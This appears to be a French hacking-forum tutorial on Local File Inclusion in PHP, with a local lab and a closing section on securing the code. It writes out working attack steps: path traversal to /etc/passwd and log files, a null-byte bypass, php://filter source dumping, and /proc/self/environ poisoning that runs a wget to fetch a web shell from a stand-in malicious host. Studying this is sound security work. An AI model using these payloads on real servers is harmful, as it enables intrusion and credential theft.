• STATISTIQUES
  • Il y a eu un total de 0 membres et 8761 visiteurs sur le site dans les dernières 24h pour un total de 8 761 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités
    [EN] Net Force
    Javascript: 9, Java Applets: 6, Cryptography: 16, Exploits: 7, Cracking: 14, Programming: 13, Internet: 15, Steganograph...
    Challenges
    [FR] apprendre-a-manipuler
    Site d'apprentissage de la manipulation d'autrui.
    Hacking
    [FR] Cyber-Hacker
    CH - Cyber Hacker est un jeu par navigateur de simulation de hack, programmez et envoyez vos virus et piratez les aut...
    Hacking
    [EN] Framework Metasploit
    Le Framework Metasploit est un logiciel gratuit, open source de tests de pénétration développ&ea...
    Vulnérabilités
    [FR] Le top web
    Nous offrons une sélection la plus large possible de resources webmaster gratuites, hébergement gratuit...
    Webmaster
    [EN] Security Traps
    Site de challenge qui prétend être construit non pas dans le but de parfaire vos connaissances, mais plutôt dan...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (1 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Faille WEB] LFI
10-10-2012, 22h14 (Modification du message : 25-02-2013, 21h35 par Swissky.)
Message : #1
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
[Faille WEB] LFI
Local File Include
I) Définition
La "Local File Include" aussi appelée LFI, consiste à inclure un fichier du serveur sur lequel est hébergé le site vulnérable grâce à un problème de sécurité dans le code PHP.

II) Exploitation Théorique
Avant de pratiquer la faille, on va d'abord voir comment elle fonctionne.
Voici comment on va procéder:
Modification d'une variable via GET ou POST -> Inclusion du fichier correspondant à la variable.
On pourrait par exemple l'utiliser pour inclure un .htpasswd ou bien ajouter un shell sur le serveur Smile

III) Exploitation en local
On va maintenant faire une exploitation de cette faille en local, pour cela, vous devez avoir :
- WAMP
- Windows
- Quelques connaissances en PHP

Tout d'abords créons le fichier php : index.php contenant le code :
Code PHP :
<?php 
 $page 
$_GET[page];  //On récupere la page par l'URL
 
include($page); //On l'inclut
 
?>

Maintenant si on cherche à inclure la page: poc.txt on utiliseras l'URL :
http://localhost/sec/index.php?page=poc.txt
Et le contenu de la page s'affichera.

Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect":
contenant id:pass, et incluez le avec :
Code PHP :
http://localhost/sec/index.php?page=htprotect/.htpasswd 
et id:pass , s'affichera sur la page en question.

Dernier test, on va inclure des fichiers spécifiques au serveur :
Sous Windows , on tentera d'afficher le fichier HOST
Code PHP :
http://localhost/sec/index.php?page=../../../windows/system32/drivers/etc/hosts 
Le caractère : "../" permet d'accéder au dossier parent, c'est-à-dire de remonter dans l'arborescence. Ici on remonte petit à petit jusqu'au dossier Windows , puis on descend jusqu'au fichier HOST. Cela devrait vous afficher :
Citation :# Copyright © 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name.

Sous Linux On tentera d'afficher les mots de passe des utilisateurs du serveurs contenu dans /etc/passwd.
Code PHP :
http://localhost/sec/index.php?page=../../../etc/passwd 
Comme toujours, vous verrez quelque chose du genre de :
username: passwd:UID:GID:full_name:directoryConfusedhell
Voici un exemple réel que j'ai piqué sur challenge :
Code :
root:x:0:0:root:/root:/usr/local/bin/sudosh bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false

Voici quelques emplacements clefs sur un serveur:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

IV)Bypasser les scripts d'extension
Certains Webmasters tentent de mettre en place des filtres afin de bloquer cette faille, on retrouve assez souvent le filtre d'extension ci-dessous :
Code PHP :
<?php include($_GET['page'].".php");?>
Malheureusement pour eux, ce n'est pas une bonne protection. Voyons tout de suite pourquoi , vous savez surement que le code PHP est interprété par le serveurs via un logiciel tierce. Ce dernier comprend les fonction PHP au travers de fonction codée en C, vous vous demandez surement pourquoi je vous parles de C alors qu'on travaille sur les Failles WEB. C'est très simple si l'on envoi un octet/byte null : %00 qui détermine la fin d'une chaine de caractère, alors celui-ci sera compris par le serveur et il arretera la requete à ce caractère.
En exemple :http://url.com/fichier_avec_autre_extension%00
Ainsi le serveur arretea la requete au %00 et la vérification d'extension ne s'appliquera donc pas.

V) Technique du Proc/Self/Environ
Le fichier environ sous Linux est un fichier qui contient des logs sur les utilisateurs comme leur User_Agent, leur IP etc.. Le but du jeu est d'afficher son contenu puis ensuite de modifier une des variables qu'il contient :
Code :
http://exemple.com/index.php?page=../../proc/self/environ
Etape 1: Une fois le fichier affiché on remarque que celui-ci récupère notre User_Agent, on va donc le modifier avec User-Agent Switcher/Tamper Data ou une autre extension, on le change en :
Code PHP :
<?php phpinfo();?>
Cela aura pour effet d'afficher les informations sur PHP lorsque nous afficherons la page.
Etape 2 : On vérifie que la commande "exec" de PHP n'est pas bloquée par l'administrateur système en regardant dans la colonne disable_function du PHP Info, dans le cas où celle-ci est désactivée on trouvera un équivalent, il en existe beaucoup dans PHP.
Etape 3 : On modifie une dernière fois notre User_Agent en :
Code PHP :
<?exec('wget http://www.sitemalveillant.org/shell.txt -O shell.php');?>
Le serveur concerné téléchargera donc le shell et le renommera en shell.php lors de la prochaine visite sur la page contenant proc/self/environ.

VI) La technique des filtres
Il existe aussi d'autre moyens pour exploiter une LFI , cette fois-ci nous ne nous concentrons plus sur l'inclusion d'une page contenant des informations particulière, on va simplement afficher l'intégralité du code source d'une page (HTML CSS et PHP). Cette technique devient redoutable lorsque le site se connecte à une base de données car les identifiants se trouvent dans le code source de la page.
Prenons pour exemple le site :
Code :
http://sitevulnérable.com/index.php?page=lfi_exploit
Nous allons mettre un filtre en argument à la place d'un fichier, plus exactement le filtre : php://filter/convert.base64-encode/resource=*
il a pour effet d'afficher le code source de la page en base64.
L'url devient donc :
Code :
http://sitevulnérable.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
Et il nous affichera un code en base64 que l'on pourra déchiffrer avec la fonction base64_decode de PHP. Voici un petit exercice, tentez de décrypter ce code en base64:
Code :
QnJhdm8lMkMlMjB2b3VzJTIwYXZleiUyMGNvbXByaXMlMjBsZSUyMHByaW5jaXBlJTIwZHUlMjBkJUU5Y29kYWdlJTIwZGUlMjBsYSUyMEJhc2U2NA==


VII) Sécurisation
On pourrait sécuriser un site vulnérable de différentes façon, par exemple en bloquant les caractères comme "/" ou bien en listant dans un tableau toutes les pages accessibles à un utilisateurs lambda, afin de bloquer une include sur une page qui ne devrait pas être incluse. Voici un exemple de script pour la méthode avec le tableau:
Code PHP :
<?php
if(in_array($_GET['page'],array("index.php","presentation.php","forum.php")))
{
include(
$_GET['page']);
}
else
{
echo 
"fail hack";



Ainsi que pour la méthode consistant à bloquer des caractères :
Code PHP :
<?php
   $page
=strtolower($_GET['page']);
   if(isset(
$page) && preg_match("/^[A-Z0-9]+$/i",$page)) 
   {  if(
file_exists("pages/$page.php")){    include "pages/$page.php";   }  else  {   include "pages/include.php";   }
   }
   else
   {  include 
"pages/index.php";
   }
   
?>

Mis à jour le : 25/02/2013
Ajout de :
- Technique des filtres
- Technique du Proc/Self/Environ

Source:
http://hakipedia.com/index.php/Local_File_Inclusion
http://www.techgaun.com/2010/10/local-fi...l-for.html
Khaled, Kaizo, Luxerails , => Membre de N-PN, merci Smile
+1 (3) -1 (0) Répondre


Messages dans ce sujet
[Faille WEB] LFI - par Swissky - 10-10-2012, 22h14
RE: [Faille WEB] LFI - par kallimero - 10-10-2012, 22h24
RE: [Faille WEB] LFI - par Swissky - 10-10-2012, 22h28
RE: [Faille WEB] LFI - par Luxerails - 10-10-2012, 23h06
RE: [Faille WEB] LFI - par Swissky - 11-10-2012, 06h51
RE: [Faille WEB] LFI - par InstinctHack - 11-10-2012, 11h15
RE: [Faille WEB] LFI - par kaizo - 11-10-2012, 12h32
RE: [Faille WEB] LFI - par Luxerails - 11-10-2012, 19h12
RE: [Faille WEB] LFI - par Swissky - 11-10-2012, 20h04
RE: [Faille WEB] LFI - par Swissky - 25-02-2013, 21h39
RE: [Faille WEB] LFI - par InstinctHack - 25-02-2013, 22h04

Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment exploiter une faille SQL Injection CyberSee 33 3,615 22-09-2015, 21h53
Dernier message: CyberSee
  Comment est exploitée une faille XSS CyberSee 37 3,587 01-09-2015, 16h07
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,312 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille Web] Full Path Disclosure Swissky 4 590 07-12-2012, 08h52
Dernier message: Shirobi

Atteindre :


Utilisateur(s) parcourant ce sujet : 4 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut